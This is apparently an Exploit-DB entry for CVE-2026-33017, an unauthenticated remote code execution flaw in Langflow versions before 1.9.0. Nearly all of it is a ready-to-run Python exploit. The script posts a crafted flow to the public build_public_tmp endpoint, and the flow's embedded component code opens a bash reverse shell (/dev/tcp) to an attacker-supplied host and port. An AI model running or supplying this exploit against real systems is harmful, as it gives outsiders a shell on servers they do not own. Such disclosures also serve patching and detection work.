Langflow 1.9.0 - RCE

EDB-ID:

52627




Platform:

Multiple

Date:

2026-07-08


# Exploit Title:  Langflow 1.9.0 - RCE
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: < 1.9.0
# Tested on: Debian
# CVE : CVE-2026-33017


import asyncio
import httpx
import argparse
from urllib.parse import urljoin


async def main(target, flow_id, lhost, lport, client_id):
    async with httpx.AsyncClient(verify=False) as client:
        data= {
            "data": {
                "nodes": [
                    {
                        "id": "Exploit-001",
                        "type": "genericNode",
                        "position": {"x": 0, "y": 0},
                        "data": {
                            "id": "Exploit-001",
                            "type": "ExploitComp",
                            "node": {
                                "template": {
                                    "code": {
                                        "type": "code",
                                        "required": True,
                                        "show": True,
                                        "multiline": True,
                                        "value": f"import os\n\n_x = os.system(\"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={{}})",
                                        "name": "code",
                                        "password": False,
                                        "advanced": False,
                                        "dynamic": False
                                    },
                                    "_type": "Component"
                                },
                                "description": "X",
                                "base_classes": ["Data"],
                                "display_name": "ExploitComp",
                                "name": "ExploitComp",
                                "frozen": False,
                                "outputs": [
                                    {
                                        "types": ["Data"],
                                        "selected": "Data",
                                        "name": "o",
                                        "display_name": "O",
                                        "method": "r",
                                        "value": "__UNDEFINED__",
                                        "cache": True,
                                        "allows_loop": False,
                                        "tool_mode": False,
                                        "hidden": None,
                                        "required_inputs": None,
                                        "group_outputs": False
                                    }
                                ],
                                "field_order": ["code"],
                                "beta": False,
                                "edited": False
                            }
                        }
                    }
                ],
                "edges": []
            },
            "inputs": None
        }
        cookies = {"client_id":client_id}
        url = urljoin(target, f"/api/v1/build_public_tmp/{flow_id}/flow")
        try:
            r = await client.post(url=url, json=data, cookies=cookies)
            print(f"[+] Request Request completed with status: {r.status_code}")
        except httpx.ReadTimeout:
            print("[+] Shell is done")

parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-33017")

parser.add_argument('-l', '--lhost', required=True, help="Attacker local ip address.")
parser.add_argument('-p', '--lport', required=True, help="Attacker local port.")
parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1/")
parser.add_argument('-f', '--flow-id', required=True, help="Target flow ID in Langflow (e.g., abc-123-def). Obtained from /api/v1/flows/ or the UI URL")
parser.add_argument('-c', '--client-id', required=True, help="Client ID for Langflow session (used as cookie 'client_id').")

args = parser.parse_args()

if __name__ == '__main__':
    asyncio.run(main(args.url, args.flow_id, args.lhost, args.lport, args.client_id))